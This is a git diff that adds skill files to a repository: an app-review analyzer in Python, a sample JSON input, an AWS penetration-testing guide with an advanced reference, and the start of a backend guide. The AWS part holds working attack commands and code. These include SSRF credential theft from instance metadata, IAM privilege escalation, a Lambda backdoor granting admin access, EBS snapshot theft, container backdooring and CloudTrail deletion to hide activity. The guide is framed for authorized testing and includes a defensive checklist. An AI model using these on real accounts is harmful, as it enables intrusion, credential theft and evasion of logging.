_calculate_sentiment_score(self, text: str, rating: int) -> float: + """Calculate sentiment score (-1 to 1).""" + # Start with rating-based score + rating_score = (rating - 3) / 2 # Convert 1-5 to -1 to 1 + + # Adjust based on text sentiment + positive_count = sum(1 for keyword in self.POSITIVE_KEYWORDS if keyword in text) + negative_count = sum(1 for keyword in self.NEGATIVE_KEYWORDS if keyword in text) + + text_score = (positive_count - negative_count) / 10 # Normalize + + # Weighted average (60% rating, 40% text) + final_score = (rating_score * 0.6) + (text_score * 0.4) + + return max(min(final_score, 1.0), -1.0) + + def _categorize_sentiment(self, score: float) -> str: + """Categorize sentiment score.""" + if score > 0.3: + return 'positive' + elif score < -0.3: + return 'negative' + else: + return 'neutral' + + def _assess_sentiment_trend(self, distribution: Dict[str, float]) -> str: + """Assess overall sentiment trend.""" + positive = distribution['positive'] + negative = distribution['negative'] + + if positive > 70: + return 'very_positive' + elif positive > 50: + return 'positive' + elif negative > 30: + return 'concerning' + elif negative > 50: + return 'critical' + else: + return 'mixed' + + def _categorize_themes( + self, + common_words: List[Dict[str, Any]], + common_phrases: List[Dict[str, Any]] + ) -> Dict[str, List[str]]: + """Categorize themes from words and phrases.""" + themes = { + 'features': [], + 'performance': [], + 'usability': [], + 'support': [], + 'pricing': [] + } + + # Keywords for each category + feature_keywords = {'feature', 'functionality', 'option', 'tool'} + performance_keywords = {'fast', 'slow', 'crash', 'lag', 'speed', 'performance'} + usability_keywords = {'easy', 'difficult', 'intuitive', 'confusing', 'interface', 'design'} + support_keywords = {'support', 'help', 'customer', 'service', 'response'} + pricing_keywords = {'price', 'cost', 'expensive', 'cheap', 'subscription', 'free'} + + for word_data in common_words: + word = word_data['word'] + if any(kw in word for kw in feature_keywords): + themes['features'].append(word) + elif any(kw in word for kw in performance_keywords): + themes['performance'].append(word) + elif any(kw in word for kw in usability_keywords): + themes['usability'].append(word) + elif any(kw in word for kw in support_keywords): + themes['support'].append(word) + elif any(kw in word for kw in pricing_keywords): + themes['pricing'].append(word) + + return {k: v for k, v in themes.items() if v} # Remove empty categories + + def _generate_theme_insights(self, themes: Dict[str, List[str]]) -> List[str]: + """Generate insights from themes.""" + insights = [] + + for category, keywords in themes.items(): + if keywords: + insights.append( + f"{category.title()}: Users frequently mention {', '.join(keywords[:3])}" + ) + + return insights[:5] + + def _categorize_issues(self, issues: List[Dict[str, Any]]) -> Dict[str, List[Dict[str, Any]]]: + """Categorize issues by type.""" + categories = { + 'crashes': [], + 'bugs': [], + 'performance': [], + 'compatibility': [] + } + + for issue in issues: + keywords = issue['issue_keywords'] + + if 'crash' in keywords or 'freezes' in keywords: + categories['crashes'].append(issue) + elif 'bug' in keywords or 'error' in keywords or 'broken' in keywords: + categories['bugs'].append(issue) + elif 'slow' in keywords or 'laggy' in keywords: + categories['performance'].append(issue) + else: + categories['compatibility'].append(issue) + + return {k: v for k, v in categories.items() if v} + + def _calculate_issue_severity( + self, + categorized_issues: Dict[str, List[Dict[str, Any]]], + total_reviews: int + ) -> Dict[str, Dict[str, Any]]: + """Calculate severity scores for each issue category.""" + severity_scores = {} + + for category, issues in categorized_issues.items(): + count = len(issues) + percentage = (count / total_reviews) * 100 if total_reviews > 0 else 0 + + # Calculate average rating of affected reviews + avg_rating = sum(i['rating'] for i in issues) / count if count > 0 else 0 + + # Severity score (0-100) + severity = min((percentage * 10) + ((5 - avg_rating) * 10), 100) + + severity_scores[category] = { + 'count': count, + 'percentage': round(percentage, 2), + 'average_rating': round(avg_rating, 2), + 'severity_score': round(severity, 1), + 'priority': 'critical' if severity > 70 else ('high' if severity > 40 else 'medium') + } + + return severity_scores + + def _rank_issues_by_severity( + self, + severity_scores: Dict[str, Dict[str, Any]] + ) -> List[Dict[str, Any]]: + """Rank issues by severity score.""" + ranked = sorted( + [{'category': cat, **data} for cat, data in severity_scores.items()], + key=lambda x: x['severity_score'], + reverse=True + ) + return ranked + + def _generate_issue_recommendations( + self, + categorized_issues: Dict[str, List[Dict[str, Any]]], + severity_scores: Dict[str, Dict[str, Any]] + ) -> List[str]: + """Generate recommendations for addressing issues.""" + recommendations = [] + + for category, score_data in severity_scores.items(): + if score_data['priority'] == 'critical': + recommendations.append( + f"URGENT: Address {category} issues immediately - affecting {score_data['percentage']}% of reviews" + ) + elif score_data['priority'] == 'high': + recommendations.append( + f"HIGH PRIORITY: Focus on {category} issues in next update" + ) + + return recommendations + + def _extract_feature_request_text(self, text: str) -> str: + """Extract the specific feature request from review text.""" + # Simple extraction - find sentence with feature request keywords + sentences = text.split('.') + for sentence in sentences: + if any(keyword in sentence for keyword in self.FEATURE_REQUEST_KEYWORDS): + return sentence.strip() + return text[:100] # Fallback + + def _cluster_feature_requests( + self, + feature_requests: List[Dict[str, Any]] + ) -> List[Dict[str, Any]]: + """Cluster similar feature requests.""" + # Simplified clustering - group by common keywords + clusters = {} + + for request in feature_requests: + text = request['request_text'].lower() + # Extract key words + words = [w for w in text.split() if len(w) > 4] + + # Try to find matching cluster + matched = False + for cluster_key in clusters: + if any(word in cluster_key for word in words[:3]): + clusters[cluster_key].append(request) + matched = True + break + + if not matched and words: + cluster_key = ' '.join(words[:2]) + clusters[cluster_key] = [request] + + return [ + {'feature_theme': theme, 'request_count': len(requests), 'examples': requests[:3]} + for theme, requests in clusters.items() + ] + + def _prioritize_feature_requests( + self, + clustered_requests: List[Dict[str, Any]] + ) -> List[Dict[str, Any]]: + """Prioritize feature requests by frequency.""" + return sorted( + clustered_requests, + key=lambda x: x['request_count'], + reverse=True + )[:10] + + def _generate_feature_recommendations( + self, + prioritized_requests: List[Dict[str, Any]] + ) -> List[str]: + """Generate recommendations for feature requests.""" + recommendations = [] + + if prioritized_requests: + top_request = prioritized_requests[0] + recommendations.append( + f"Most requested feature: {top_request['feature_theme']} " + f"({top_request['request_count']} mentions) - consider for next major release" + ) + + if len(prioritized_requests) > 1: + recommendations.append( + f"Also consider: {prioritized_requests[1]['feature_theme']}" + ) + + return recommendations + + def _determine_trend_direction( + self, + rating_change: float, + sentiment_change: float + ) -> str: + """Determine overall trend direction.""" + if rating_change > 0.2 and sentiment_change > 5: + return 'improving' + elif rating_change < -0.2 and sentiment_change < -5: + return 'declining' + else: + return 'stable' + + def _generate_trend_insights( + self, + trends: List[Dict[str, Any]], + trend_direction: str + ) -> List[str]: + """Generate insights from trend analysis.""" + insights = [] + + if trend_direction == 'improving': + insights.append("Positive trend: User satisfaction is increasing over time") + elif trend_direction == 'declining': + insights.append("WARNING: User satisfaction is declining - immediate action needed") + else: + insights.append("Sentiment is stable - maintain current quality") + + # Review velocity insight + if len(trends) >= 2: + recent_reviews = trends[-1]['total_reviews'] + previous_reviews = trends[-2]['total_reviews'] + + if recent_reviews > previous_reviews * 1.5: + insights.append("Review volume increasing - growing user base or recent controversy") + + return insights + + +def analyze_reviews( + app_name: str, + reviews: List[Dict[str, Any]] +) -> Dict[str, Any]: + """ + Convenience function to perform comprehensive review analysis. + + Args: + app_name: App name + reviews: List of review dictionaries + + Returns: + Complete review analysis + """ + analyzer = ReviewAnalyzer(app_name) + + return { + 'sentiment_analysis': analyzer.analyze_sentiment(reviews), + 'common_themes': analyzer.extract_common_themes(reviews), + 'issues_identified': analyzer.identify_issues(reviews), + 'feature_requests': analyzer.find_feature_requests(reviews) + } diff --git a/skills/app-store-optimization/sample_input.json b/skills/app-store-optimization/sample_input.json new file mode 100644 index 00000000..5435a367 --- /dev/null +++ b/skills/app-store-optimization/sample_input.json @@ -0,0 +1,30 @@ +{ + "request_type": "keyword_research", + "app_info": { + "name": "TaskFlow Pro", + "category": "Productivity", + "target_audience": "Professionals aged 25-45 working in teams", + "key_features": [ + "AI-powered task prioritization", + "Team collaboration tools", + "Calendar integration", + "Cross-platform sync" + ], + "unique_value": "AI automatically prioritizes your tasks based on deadlines and importance" + }, + "target_keywords": [ + "task manager", + "productivity app", + "todo list", + "team collaboration", + "project management" + ], + "competitors": [ + "Todoist", + "Any.do", + "Microsoft To Do", + "Things 3" + ], + "platform": "both", + "language": "en-US" +} diff --git a/skills/aws-penetration-testing/SKILL.md b/skills/aws-penetration-testing/SKILL.md new file mode 100644 index 00000000..b3d7cd9b --- /dev/null +++ b/skills/aws-penetration-testing/SKILL.md @@ -0,0 +1,402 @@ +--- +name: AWS Penetration Testing +description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. +--- + +# AWS Penetration Testing + +## Purpose + +Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations. + +## Inputs/Prerequisites + +- AWS CLI configured with credentials +- Valid AWS credentials (even low-privilege) +- Understanding of AWS IAM model +- Python 3, boto3 library +- Tools: Pacu, Prowler, ScoutSuite, SkyArk + +## Outputs/Deliverables + +- IAM privilege escalation paths +- Extracted credentials and secrets +- Compromised EC2/Lambda/S3 resources +- Persistence mechanisms +- Security audit findings + +--- + +## Essential Tools + +| Tool | Purpose | Installation | +|------|---------|--------------| +| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | +| SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | +| Prowler | Security auditing | `pip install prowler` | +| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | +| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | +| Principal Mapper | IAM analysis | `pip install principalmapper` | + +--- + +## Core Workflow + +### Step 1: Initial Enumeration + +Identify the compromised identity and permissions: + +```bash +# Check current identity +aws sts get-caller-identity + +# Configure profile +aws configure --profile compromised + +# List access keys +aws iam list-access-keys + +# Enumerate permissions +./enumerate-iam.py --access-key AKIA... --secret-key StF0q... +``` + +### Step 2: IAM Enumeration + +```bash +# List all users +aws iam list-users + +# List groups for user +aws iam list-groups-for-user --user-name TARGET_USER + +# List attached policies +aws iam list-attached-user-policies --user-name TARGET_USER + +# List inline policies +aws iam list-user-policies --user-name TARGET_USER + +# Get policy details +aws iam get-policy --policy-arn POLICY_ARN +aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 + +# List roles +aws iam list-roles +aws iam list-attached-role-policies --role-name ROLE_NAME +``` + +### Step 3: Metadata SSRF (EC2) + +Exploit SSRF to access metadata endpoint (IMDSv1): + +```bash +# Access metadata endpoint +http://169.254.169.254/latest/meta-data/ + +# Get IAM role name +http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# Extract temporary credentials +http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME + +# Response contains: +{ + "AccessKeyId": "ASIA...", + "SecretAccessKey": "...", + "Token": "...", + "Expiration": "2019-08-01T05:20:30Z" +} +``` + +**For IMDSv2 (token required):** + +```bash +# Get token first +TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ + "http://169.254.169.254/latest/api/token") + +# Use token for requests +curl -H "X-aws-ec2-metadata-token:$TOKEN" \ + "http://169.254.169.254/latest/meta-data/iam/security-credentials/" +``` + +**Fargate Container Credentials:** + +```bash +# Read environment for credential path +/proc/self/environ +# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... + +# Access credentials +http://169.254.170.2/v2/credentials/CREDENTIAL-PATH +``` + +--- + +## Privilege Escalation Techniques + +### Shadow Admin Permissions + +These permissions are equivalent to administrator: + +| Permission | Exploitation | +|------------|--------------| +| `iam:CreateAccessKey` | Create keys for admin user | +| `iam:CreateLoginProfile` | Set password for any user | +| `iam:AttachUserPolicy` | Attach admin policy to self | +| `iam:PutUserPolicy` | Add inline admin policy | +| `iam:AddUserToGroup` | Add self to admin group | +| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role | +| `lambda:UpdateFunctionCode` | Inject code into Lambda | + +### Create Access Key for Another User + +```bash +aws iam create-access-key --user-name target_user +``` + +### Attach Admin Policy + +```bash +aws iam attach-user-policy --user-name my_username \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess +``` + +### Add Inline Admin Policy + +```bash +aws iam put-user-policy --user-name my_username \ + --policy-name admin_policy \ + --policy-document file://admin-policy.json +``` + +### Lambda Privilege Escalation + +```python +# code.py - Inject into Lambda function +import boto3 + +def lambda_handler(event, context): + client = boto3.client('iam') + response = client.attach_user_policy( + UserName='my_username', + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + return response +``` + +```bash +# Update Lambda code +aws lambda update-function-code --function-name target_function \ + --zip-file fileb://malicious.zip +``` + +--- + +## S3 Bucket Exploitation + +### Bucket Discovery + +```bash +# Using bucket_finder +./bucket_finder.rb wordlist.txt +./bucket_finder.rb --download --region us-east-1 wordlist.txt + +# Common bucket URL patterns +https://{bucket-name}.s3.amazonaws.com +https://s3.amazonaws.com/{bucket-name} +``` + +### Bucket Enumeration + +```bash +# List buckets (with creds) +aws s3 ls + +# List bucket contents +aws s3 ls s3://bucket-name --recursive + +# Download all files +aws s3 sync s3://bucket-name ./local-folder +``` + +### Public Bucket Search + +``` +https://buckets.grayhatwarfare.com/ +``` + +--- + +## Lambda Exploitation + +```bash +# List Lambda functions +aws lambda list-functions + +# Get function code +aws lambda get-function --function-name FUNCTION_NAME +# Download URL provided in response + +# Invoke function +aws lambda invoke --function-name FUNCTION_NAME output.txt +``` + +--- + +## SSM Command Execution + +Systems Manager allows command execution on EC2 instances: + +```bash +# List managed instances +aws ssm describe-instance-information + +# Execute command +aws ssm send-command --instance-ids "i-0123456789" \ + --document-name "AWS-RunShellScript" \ + --parameters commands="whoami" + +# Get command output +aws ssm list-command-invocations --command-id "CMD-ID" \ + --details --query "CommandInvocations[].CommandPlugins[].Output" +``` + +--- + +## EC2 Exploitation + +### Mount EBS Volume + +```bash +# Create snapshot of target volume +aws ec2 create-snapshot --volume-id vol-xxx --description "Audit" + +# Create volume from snapshot +aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a + +# Attach to attacker instance +aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf + +# Mount and access +sudo mkdir /mnt/stolen +sudo mount /dev/xvdf1 /mnt/stolen +``` + +### Shadow Copy Attack (Windows DC) + +```bash +# CloudCopy technique +# 1. Create snapshot of DC volume +# 2. Share snapshot with attacker account +# 3. Mount in attacker instance +# 4. Extract NTDS.dit and SYSTEM +secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local +``` + +--- + +## Console Access from API Keys + +Convert CLI credentials to console access: + +```bash +git clone https://github.com/NetSPI/aws_consoler +aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY + +# Generates signin URL for console access +``` + +--- + +## Covering Tracks + +### Disable CloudTrail + +```bash +# Delete trail +aws cloudtrail delete-trail --name trail_name + +# Disable global events +aws cloudtrail update-trail --name trail_name \ + --no-include-global-service-events + +# Disable specific region +aws cloudtrail update-trail --name trail_name \ + --no-include-global-service-events --no-is-multi-region-trail +``` + +**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent. + +--- + +## Quick Reference + +| Task | Command | +|------|---------| +| Get identity | `aws sts get-caller-identity` | +| List users | `aws iam list-users` | +| List roles | `aws iam list-roles` | +| List buckets | `aws s3 ls` | +| List EC2 | `aws ec2 describe-instances` | +| List Lambda | `aws lambda list-functions` | +| Get metadata | `curl http://169.254.169.254/latest/meta-data/` | + +--- + +## Constraints + +**Must:** +- Obtain written authorization before testing +- Document all actions for audit trail +- Test in scope resources only + +**Must Not:** +- Modify production data without approval +- Leave persistent backdoors without documentation +- Disable security controls permanently + +**Should:** +- Check for IMDSv2 before attempting metadata attacks +- Enumerate thoroughly before exploitation +- Clean up test resources after engagement + +--- + +## Examples + +### Example 1: SSRF to Admin + +```bash +# 1. Find SSRF vulnerability in web app +https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# 2. Get role name from response +# 3. Extract credentials +https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole + +# 4. Configure AWS CLI with stolen creds +export AWS_ACCESS_KEY_ID=ASIA... +export AWS_SECRET_ACCESS_KEY=... +export AWS_SESSION_TOKEN=... + +# 5. Verify access +aws sts get-caller-identity +``` + +--- + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Access Denied on all commands | Enumerate permissions with enumerate-iam | +| Metadata endpoint blocked | Check for IMDSv2, try container metadata | +| GuardDuty alerts | Use Pacu with custom user-agent | +| Expired credentials | Re-fetch from metadata (temp creds rotate) | +| CloudTrail logging actions | Consider disable or log obfuscation | + +--- + +## Additional Resources + +For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md). diff --git a/skills/aws-penetration-testing/references/advanced-aws-pentesting.md b/skills/aws-penetration-testing/references/advanced-aws-pentesting.md new file mode 100644 index 00000000..77b4f0ba --- /dev/null +++ b/skills/aws-penetration-testing/references/advanced-aws-pentesting.md @@ -0,0 +1,469 @@ +# Advanced AWS Penetration Testing Reference + +## Table of Contents +- [Training Resources](#training-resources) +- [Extended Tools Arsenal](#extended-tools-arsenal) +- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials) +- [Lambda & API Gateway](#lambda--api-gateway) +- [Secrets Manager & KMS](#secrets-manager--kms) +- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr) +- [RDS Database Exploitation](#rds-database-exploitation) +- [DynamoDB Exploitation](#dynamodb-exploitation) +- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement) +- [Security Checklist](#security-checklist) + +--- + +## Training Resources + +| Resource | Description | URL | +|----------|-------------|-----| +| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat | +| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat | +| Flaws | AWS security challenge | flaws.cloud | +| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud | +| DVCA | Vulnerable Cloud App | medium.com/poka-techblog | + +--- + +## Extended Tools Arsenal + +### weirdAAL - AWS Attack Library +```bash +python3 weirdAAL.py -m ec2_describe_instances -t demo +python3 weirdAAL.py -m lambda_get_account_settings -t demo +python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' +``` + +### cloudmapper - AWS Environment Analyzer +```bash +git clone https://github.com/duo-labs/cloudmapper.git +pipenv install --skip-lock +pipenv shell + +# Commands +report # Generate HTML report +iam_report # IAM-specific report +audit # Check misconfigurations +collect # Collect account metadata +find_admins # Identify admin users/roles +``` + +### cloudsplaining - IAM Security Assessment +```bash +pip3 install --user cloudsplaining +cloudsplaining download --profile myawsprofile +cloudsplaining scan --input-file default.json +``` + +### s3_objects_check - S3 Object Permissions +```bash +git clone https://github.com/nccgroup/s3_objects_check +python s3-objects-check.py -p whitebox-profile -e blackbox-profile +``` + +### dufflebag - Find EBS Secrets +```bash +# Finds secrets exposed via Amazon EBS's "public" mode +git clone https://github.com/BishopFox/dufflebag +``` + +--- + +## AWS API Calls That Return Credentials + +| API Call | Description | +|----------|-------------| +| `chime:createapikey` | Create API key | +| `codepipeline:pollforjobs` | Poll for jobs | +| `cognito-identity:getopenidtoken` | Get OpenID token | +| `cognito-identity:getcredentialsforidentity` | Get identity credentials | +| `connect:getfederationtoken` | Get federation token | +| `ecr:getauthorizationtoken` | ECR auth token | +| `gamelift:requestuploadcredentials` | GameLift upload creds | +| `iam:createaccesskey` | Create access key | +| `iam:createloginprofile` | Create login profile | +| `iam:createservicespecificcredential` | Service-specific creds | +| `lightsail:getinstanceaccessdetails` | Instance access details | +| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password | +| `rds-db:connect` | RDS connect | +| `redshift:getclustercredentials` | Redshift credentials | +| `sso:getrolecredentials` | SSO role credentials | +| `sts:assumerole` | Assume role | +| `sts:assumerolewithsaml` | Assume role with SAML | +| `sts:assumerolewithwebidentity` | Web identity assume | +| `sts:getfederationtoken` | Federation token | +| `sts:getsessiontoken` | Session token | + +--- + +## Lambda & API Gateway + +### Lambda Enumeration + +```bash +# List all lambda functions +aws lambda list-functions + +# Get function details and download code +aws lambda get-function --function-name FUNCTION_NAME +wget -O lambda-function.zip "url-from-previous-query" + +# Get function policy +aws lambda get-policy --function-name FUNCTION_NAME + +# List event source mappings +aws lambda list-event-source-mappings --function-name FUNCTION_NAME + +# List Lambda layers (dependencies) +aws lambda list-layers +aws lambda get-layer-version --layer-name NAME --version-number VERSION +``` + +### API Gateway Enumeration + +```bash +# List REST APIs +aws apigateway get-rest-apis + +# Get specific API info +aws apigateway get-rest-api --rest-api-id ID + +# List endpoints (resources) +aws apigateway get-resources --rest-api-id ID + +# Get method info +aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET + +# List API versions (stages) +aws apigateway get-stages --rest-api-id ID + +# List API keys +aws apigateway get-api-keys --include-values +``` + +### Lambda Credential Access + +```bash +# Via RCE - get environment variables +https://apigateway/prod/system?cmd=env + +# Via SSRF - access runtime API +https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ + +# Via file read +https://apigateway/prod/system?cmd=file:///proc/self/environ +``` + +### Lambda Backdooring + +```python +# Malicious Lambda code to escalate privileges +import boto3 +import json + +def handler(event, context): + iam = boto3.client("iam") + iam.attach_role_policy( + RoleName="role_name", + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + iam.attach_user_policy( + UserName="user_name", + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + return {'statusCode': 200, 'body': json.dumps("Pwned")} +``` + +```bash +# Update function with backdoor +aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip + +# Invoke backdoored function +curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT +``` + +--- + +## Secrets Manager & KMS + +### Secrets Manager Enumeration + +```bash +# List all secrets +aws secretsmanager list-secrets + +# Describe specific secret +aws secretsmanager describe-secret --secret-id NAME + +# Get resource policy +aws secretsmanager get-resource-policy --secret-id ID + +# Retrieve secret value +aws secretsmanager get-secret-value --secret-id ID +``` + +### KMS Enumeration + +```bash +# List KMS keys +aws kms list-keys + +# Describe key +aws kms describe-key --key-id ID + +# List key policies +aws kms list-key-policies --key-id ID + +# Get full policy +aws kms get-key-policy --policy-name NAME --key-id ID +``` + +### KMS Decryption + +```bash +# Decrypt file (key info embedded in ciphertext) +aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext +``` + +--- + +## Container Security (ECS/EKS/ECR) + +### ECR Enumeration + +```bash +# List repositories +aws ecr describe-repositories + +# Get repository policy +aws ecr get-repository-policy --repository-name NAME + +# List images +aws ecr list-images --repository-name NAME + +# Describe image +aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG +``` + +### ECS Enumeration + +```bash +# List clusters +aws ecs list-clusters + +# Describe cluster +aws ecs describe-clusters --cluster NAME + +# List services +aws ecs list-services --cluster NAME + +# Describe service +aws ecs describe-services --cluster NAME --services SERVICE + +# List tasks +aws ecs list-tasks --cluster NAME + +# Describe task (shows network info for pivoting) +aws ecs describe-tasks --cluster NAME --tasks TASK_ARN + +# List container instances +aws ecs list-container-instances --cluster NAME +``` + +### EKS Enumeration + +```bash +# List EKS clusters +aws eks list-clusters + +# Describe cluster +aws eks describe-cluster --name NAME + +# List node groups +aws eks list-nodegroups --cluster-name NAME + +# Describe node group +aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME + +# List Fargate profiles +aws eks list-fargate-profiles --cluster-name NAME +``` + +### Container Backdooring + +```bash +# Authenticate Docker to ECR +aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR + +# Build backdoored image +docker build -t image_name . + +# Tag for ECR +docker tag image_name ECR_ADDR:IMAGE_NAME + +# Push to ECR +docker push ECR_ADDR:IMAGE_NAME +``` + +### EKS Secrets via RCE + +```bash +# List Kubernetes secrets +https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount + +# Get service account token +https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token +``` + +--- + +## RDS Database Exploitation + +### RDS Enumeration + +```bash +# List RDS clusters +aws rds describe-db-clusters + +# List RDS instances +aws rds describe-db-instances +# Check: IAMDatabaseAuthenticationEnabled: false = password auth + +# List subnet groups +aws rds describe-db-subnet-groups + +# List security groups +aws rds describe-db-security-groups + +# List proxies +aws rds describe-db-proxies +``` + +### Password-Based Access + +```bash +mysql -h HOSTNAME -u USERNAME -P PORT -p +``` + +### IAM-Based Access + +```bash +# Generate auth token +TOKEN=$(aws rds generate-db-auth-token \ + --hostname HOSTNAME \ + --port PORT \ + --username USERNAME \ + --region REGION) + +# Connect with token +mysql -h HOSTNAME -u USERNAME -P PORT \ + --enable-cleartext-plugin --password=$TOKEN +``` + +--- + +## DynamoDB Exploitation + +```bash +# List tables +aws dynamodb list-tables + +# Scan table contents +aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]' + +# Query specific items +aws dynamodb query --table-name TABLE_NAME \ + --key-condition-expression "pk = :pk" \ + --expression-attribute-values '{":pk":{"S":"user"}}' +``` + +--- + +## VPC Enumeration & Lateral Movement + +### VPC Enumeration + +```bash +# List VPCs +aws ec2 describe-vpcs + +# List subnets +aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID" + +# List route tables +aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID" + +# List Network ACLs +aws ec2 describe-network-acls + +# List VPC peering connections +aws ec2 describe-vpc-peering-connections +``` + +### Route Table Targets + +| Destination | Target | Description | +|-------------|--------|-------------| +| IP | `local` | VPC internal | +| IP | `igw` | Internet Gateway | +| IP | `nat` | NAT Gateway | +| IP | `pcx` | VPC Peering | +| IP | `vpce` | VPC Endpoint | +| IP | `vgw` | VPN Gateway | +| IP | `eni` | Network Interface | + +### Lateral Movement via VPC Peering + +```bash +# List peering connections +aws ec2 describe-vpc-peering-connections + +# List instances in target VPC +aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID" + +# List instances in specific subnet +aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID" +``` + +--- + +## Security Checklist + +### Identity and Access Management +- [ ] Avoid use of root account +- [ ] MFA enabled for all IAM users with console access +- [ ] Disable credentials unused for 90+ days +- [ ] Rotate access keys every 90 days +- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars +- [ ] No root access keys exist +- [ ] MFA enabled for root account +- [ ] IAM policies attached to groups/roles only + +### Logging +- [ ] CloudTrail enabled in all regions +- [ ] CloudTrail log file validation enabled +- [ ] CloudTrail S3 bucket not publicly accessible +- [ ] CloudTrail integrated with CloudWatch Logs +- [ ] AWS Config enabled in all regions +- [ ] CloudTrail logs encrypted with KMS +- [ ] KMS key rotation enabled + +### Networking +- [ ] No security groups allow 0.0.0.0/0 to port 22 +- [ ] No security groups allow 0.0.0.0/0 to port 3389 +- [ ] VPC flow logging enabled +- [ ] Default security group restricts all traffic + +### Monitoring +- [ ] Alarm for unauthorized API calls +- [ ] Alarm for console sign-in without MFA +- [ ] Alarm for root account usage +- [ ] Alarm for IAM policy changes +- [ ] Alarm for CloudTrail config changes +- [ ] Alarm for console auth failures +- [ ] Alarm for CMK disabling/deletion +- [ ] Alarm for S3 bucket policy changes +- [ ] Alarm for security group changes +- [ ] Alarm for NACL changes +- [ ] Alarm for VPC changes diff --git a/skills/backend-dev-guidelines/SKILL.md b/skills/backend-dev-guidelines/SKILL.md new file mode 100644 index 00000000..58319a07 --- /dev/null +++ b/skills/backend-dev-guidelines/SKILL.md @@ -0,0 +1,302 @@ +--- +name: backend-dev-guidelines +description: Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes → controllers → services → repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns. +--- + +# Backend Development Guidelines + +## Purpose + +Establish consistency and best practices across backend microservices (blog-api, auth-service, notifications-service) using modern Node.js/Express/TypeScript patterns. + +## When to Use This Skill + +Automatically activates when working on: +- Creating or modifying routes, endpoints, APIs +- Building controllers, services, repositories +- Implementing middleware (auth, validation, error handling) +- Database operations with Prisma +- Error tracking with Sentry +- Input validation with Zod +- Configuration management +- Backend testing and refactoring + +--- + +## Quick Start + +### New Backend Feature Checklist + +- [ ] **Route**: Clean definition, delegate to controller +- [ ] **Controller**: Extend BaseController +- [ ] **Service**: Business logic with DI +- [ ] **Repository**: Database access (if complex) +- [ ] **Validation**: Zod schema +- [ ] **Sentry**: Error tracking +- [ ] **Tests**: Unit + integration tests +- [ ] **Config**: Use unifiedConfig + +### New Microservice Checklist + +- [ ] Directory structure (see [architecture-overview.md](architecture-overview.md)) +- [ ] instrument.ts for Sentry +- [ ] unifiedConfig setup +- [ ] BaseController class +- [ ] Middleware stack +- [ ] Error boundary +- [ ] Testing framework + +--- + +## Architecture Overview + +### Layered Architecture + +``` +HTTP Request + ↓ +Routes (routing only) + ↓ +Controllers (request handling) + ↓ +Services (business logic) + ↓ +Repositories (data access) + ↓ +Database (Prisma) +``` + +**Key Principle:** Each layer has ONE responsibility. + +See [architecture-overview.md](architecture-overview.md) for complete details. + +--- + +## Directory Structure + +``` +service/src/ +├── config/ # UnifiedConfig +├── controllers/ # Request handlers +├── services/ # Business logic +├── repositories/ # 